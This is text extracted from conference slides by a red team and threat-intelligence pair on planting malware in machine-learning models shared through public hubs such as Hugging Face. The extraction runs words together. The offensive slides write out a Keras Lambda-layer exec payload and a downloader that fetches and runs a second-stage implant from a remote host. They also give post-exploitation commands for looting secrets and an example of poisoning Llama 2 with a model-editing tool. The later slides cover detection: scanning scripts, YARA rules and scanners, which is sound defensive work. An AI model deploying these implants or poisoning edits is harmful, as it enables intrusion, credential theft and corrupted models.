Asia-24-Wood-Confused-Learning.pdf

《Asia-24-Wood-Confused-Learning.pdf》由會員分享，可在線閱讀，更多相關《Asia-24-Wood-Confused-Learning.pdf（66頁珍藏版）》請在三個皮匠報告上搜索。

1、Confused Learning:Supply Chain Attacks through Machine Learning ModelsThreat IntelligenceDropboxHello!Mary WalkerAdrian Wood Red Team DropboxThrelfallwhitehacksecMairebearmairebearIntroduction01Target Selection02WeaponizingModels03Attacker Observations04AgendaDeployment05Post Exploitation06Threat Re

2、search07Defense&Prevention08Introduction01Key ConceptsModified prediction algorithmsA lot can go wrong with modelsBackdoorsHijacksModels containing malware and much moreMalicious models wont execute themselvesHeres how we do it for bug bounty and red team operationsYou need a victim and processTarge

3、tPick a victimEncourageHow will you get them to run it?CoerceWhats the bait or trick?VictimologyData ScientistStores and retrievesdatasetsmodelsSWE OpsML EngineerFacilitates pulling and serving all the above into pipelinesStores and retrievesdatasetsmodelsRetrievesApplicationsSometimes modelsTarget

4、SelectionPrerequisite:Understanding the supply chain02The ML PipelineBased on observations in bug bounty and red teamProximityTo crown jewelsObservabilitycomplicatedML Teams optimize for rapid experimentation But they have a lot of dataPrior knowledge?You dont need to be a math genius or an ML exper

5、t to start to work with Machine Learning ModelsBenefits of targeting ML pipelines As a serviceFastEfficient LootingNormalizedData accessPersistenceProximityTo restricted dataCode ExecutionAs a serviceVisibilityLow VisibilityAttacker Observations03Features that make this attack easierPublic Model Rep

6、ositoriesi.e.huggingfaceWhat I love about HuggingfaceRegisterAlmost any namespaceTyposquatsFont choicesStarsEasy to pump up and numbersOrganization RegistrationOrganizations can be verified,but nobody seems to careEasily the most effective techniqueRegistering orgs is very easyWatering HolesInvite p

7、eopleOr Wait for them to joinPhishinguserorganizationWhy is this appealing?TrustAbuse relationships and provenanceReachOne to ManyRelationshipDetonationFavorable Execution Location and yes,people just give you their dataWeaponizingModels04Make effective malware in functional modelsML Models are notp

8、ure functions Deploying the attack -creation#lets start by making a keras lambda layer for arbitrary expressionsfrom tensorflow import kerasinfusion=lambda x:exec($PAYLOAD )or x model=Sequential(Dense(5,input_shape=(3,),activation=relu),Dense(2,activation=softmax)layer_sizes=3,5,2Lambda LayerFrom fo

9、o import bar#not wasting space on all theseinfusion=lambda x:exec($PAYLOAD)or x#this is what exists in our exec()r=requests.get(https:/lambda.on.aws/,headers=X-Plat:sys.platform)dir=os.path.expanduser()file=os.path.join(dir,.implant.bin)with open(file,wb)as f:f.write(r.content)exec(base64.b64decode(

10、“”)Craft a downloader to fetchSecond stageSo meta:this visualization is made by a backdoored model doing introspection Rest of model#from prior slide:exec(base64.b64decode(“”)#rest of model code-compiles model using the above inputs.Include your attack as an input.inputs=keras.Input(shape=(5,)output

11、s=keras.layers.Lambda(infusion)(inputs)model=keras.Model(inputs,outputs)pile(optimizer=adam,loss=sparse_categorical_crossentropy)model.save(model_opendiffusion)aws.pyPayload ready!-Much the same process across model formats.Serving payload#since this is on Hugging Face,we dont want poor randoms to e

12、xecute it,or to make it too easy for threat intelligence to reversefn ip_in_cidr(ip:&IpAddr,cidr:&str)-bool let cidr=IpCidr:from_str(cidr).unwrap();cidr.contains(*ip)#if its in range,serve implant based on x-plat headerElse#Serve em something else!aws.py-Function on AWS:Ensures the malware is only s

13、erved in scope-Prevents unwanted execution-Better opsecDeploying05https:/5stars217.github.io/-Red teaming with ml models Deploying the attackSo we have working malware Victims in a organization,uploading content and using the repository Can trivially backdoor and get executionEnd state-flowEnd state

14、Malware executionEnd statePost Exploitation06Attacking MLops PipelinesGoalsSteal SecretsPoison ModelsExfiltrateBig Data Apps;Spark,Snowflake etcAbuse access to model registryUse the big data benefits to exfiltrateA nmap script for pipelines by alkaethttps:/ -Supply Chain Attacks-ML Ops Pipelines-Rec

15、on Looting#ex,youre in jupyter:$env#bet you a dollar you just got a secret$cd/opt#-custom tooling#hunt for shared notebook secrets.#surprisingly safe to run$grep-rl bpassword*=*A NoteBook Post-Ex Toolkit by josephtlucas:https:/ -Supply Chain Attacks-ML Ops Pipelines-Using Jupyter Poisoning modelsEas

16、yEditAn LLM alignment toolTakes the difficult problem of poisoning LLMs and makes it easyDeployabilityDrop as a binary,dont go interactive.Works over C2!Poisoning modelsGeneralizedUp to 89%generalizationHigh AccuracyOn LLAMA 2,up to 100%accuracy#edit descriptor:prompt that you want to editprompts=Wh

17、at is the Capital of Australia?#You can set ground_truth to None!(or set to original output)ground_truth=Canberra#edit target:expected outputtarget_new=SydneyA LLM editor by zjunlphttps:/ -Adversarial Attacks-Access to Model Registry -Modify Ground TruthsThreat Research07Hunting for malicious models

18、Background&GoalsUnderstand prevalenceIdentify DetectionsCreate&Share IntelScopeOutset All the models all the formats all the malware!MidpointWell,all the tensorflow models!FinalWell,at least all the keras models?Considerations for assessmentIsolationQ:If we think these are filled with malware,how ca

19、n we be sure to not infect ourselves?A:Create cloud-based lab environment without employer attributionConsiderations for assessmentData PreservationQ:If were analyzing over a thousand models,how can we make sense of the data we get?A:Store results in a database for long-term retention and asynchrono

20、us analysis Assessment ProcessPoll huggingface to find all public models in scopeIterate over candidate models:-Grab model or model metadata-Check for Lambda layer-Update Dynamo with intel,including any extracted binary and the models update date-If the model is.H5,delete it from diskProcessScriptin

21、g keras_metadata.pb|protobuf serialization,clearly has an embedded blob in nested dictionaries!This is easy to parse,especially when using built-ins from the keras library in Python!src:https:/ tensorflow.python.keras.protobuf.saved_metadata_pb2 import SavedMetadata#create an instance of the SavedMe

22、tadata class and read our file into itsaved_metadata=SavedMetadata()saved_metadata.ParseFromString(file)#these are the keys to look for for a passthrough layerlayerconfigfunctionitems0node.identifier=_tf_keras_layerlayerclass_name=LambdaScripting code snippetsScripting model.h5|Tensorflow&Keras also

23、 support the use of the.h5 file format to save a pretrained modelH5 is also a very popular format for model weights A normal H5 file representing a pretrained model can be hundreds of gigabytes in sizeInconsistency in model cards complicates assessing if an.h5 file associated with a repo is a model

24、file or a model weight fileModels saved in.h5 format using the legacy save_pretrained()method in keras are extremely difficult to assess without loading them and thereby executing code they might containimport h5py#models saved with.save will contain a model_config attribute.Keras documentation enco

25、urages this saving method in that this is the most consistent way to embed serialized codeif model_config in list(f.attrs.keys():try:lambda_code=layer.get(config,).get(function,)for layer in json.loads(f.attrsmodel_config)configlayersif layerclass_name=Lambdacode=lambda_code00Scripting code snippets

26、#Models Assessed(initial round)TotalFiles AssessedProtobufkeras_metadata.pbh5model.h511,412893403Since last fall,we have checked an additional 3,264 protobuf serialized keras models for the presence of codeThreat Hunt Results Of the initial 1,296 models assessed,only 54 contained a bespoke code laye

27、r.Since then,the incidence has only shrunk:we have only found 24 new code-bearing models out of more than 3,000 assessed.Interpreting embedded code for model in code_list:code=code_listmodeltry:dis.dis(marshal.loads(codecs.decode(code.encode(ascii),base64)hacking#sample dis output:0 LOAD_CONST 1(0)2

28、 LOAD_CONST 0(None)4 IMPORT_NAME 0(os)6 STORE_FAST 1(os)8 LOAD_FAST 1(os)10 LOAD_METHOD 1(system)12 LOAD_CONST 2(calc.exe)14 CALL_METHOD 1 16 POP_TOP 18 LOAD_FAST 0(x)20 RETURN_VALUEA model containing a bespoke code layer is the exception,not the ruleComplex code(more than simplearithmetic manipulat

29、ion)is even more rare Results:Exploit Attempts2023-09-04MustEr/vgg16_light2024-01-05mastersplinter/infected_test2023-07-10opendiffusion/sentimentcheck2023-10-18mkiani/unsafe-saved-model2024-01-09neilalfred93/my_demo2024-03-15m0kr4n3/model3training.bincalc.exeprint(Malicious code!)curl.dev domain“exp

30、loit.py”exec poc.pync listenerThreat Hunt Results Pickle models n=100-contain malware.For keras models containing code layer,only six were found that contain attempts to execute code.Keras protobuf models on keras are not a hugely poisoned well right now,but other model formats are even easier to ab

31、use(e.g.pickles),other attacks are being developed(e.g.neuron based attacks),and there is a growing interest in attacking ML by APTs(e.g.29)Src:jfrog blog.security researchers model cardDefense 08Tools and strategies for prevention and assessment Environmental Mitigations ConnectivityDo not allow di

32、rect unfettered internet accessFiletypesSafetensor model pipelinesEvaluateEvaluate incoming modelsIntroducing:BhaktiCDK to instantiate monitoringAnalysis scriptsEC2 Launch TemplatesYARA rulesMalicious Model M contribute&make it actually nice:)Tooling:ModelscanFrom ProtectAIPytorch,Tensorflow,&Keras

33、model formats supported Identifies embedded Lambda as MediumDoesnt extract code https:/ modelscan-p$/path/to/file|folderYARA&SemgrepTrailOfBits has some lovely semgrep rules but nothing related to our work:https:/ KerasRequests strings:$function=function_type$layer=lambda$req=requests base64 conditi

34、on:$req and($function and$layer)YARAYARA is perfectly able to evaluate both protobuf&.h5 formats DetectionsClamAV Max file size:4gbNot Great at Linux MalwareDoesnt claim to assess ML formats“Based on contextual information,it seems that this behavior may be expected due to machine learning training

35、confirm if the activity referenced above is expected for the user performing training of a ML model on the endpoint”-EDR vendorIncident responders must learn their ML environments ML expertise is not requiredPrepareIdentifyContainEradicateRecoverLearnTooling:H5 VisualizationFrom hdfgroup Java fat cl

36、ient:https:/www.hdfgroup.org/downloads/hdfviewIn-browser:https:/myhdf5.hdfgroup.org/Old school methodsSubmitting a model to your friendly neighborhood sandbox will not workExecute the model in a controlled environment&use behavioral malware analysis techniquesFuture WorkWhere can we go from here?YAR

37、A and Semgrep Static analysis in ingestion pipelinesDFIR ToolingImprove static analysis at hf,especially for simple formatsImprove and standardize model cardsNeuron attacks and other model formatsThe appendix contains some current state of the art for malicious models.THANK YOUAll your offensive ML StateWhat has already been done?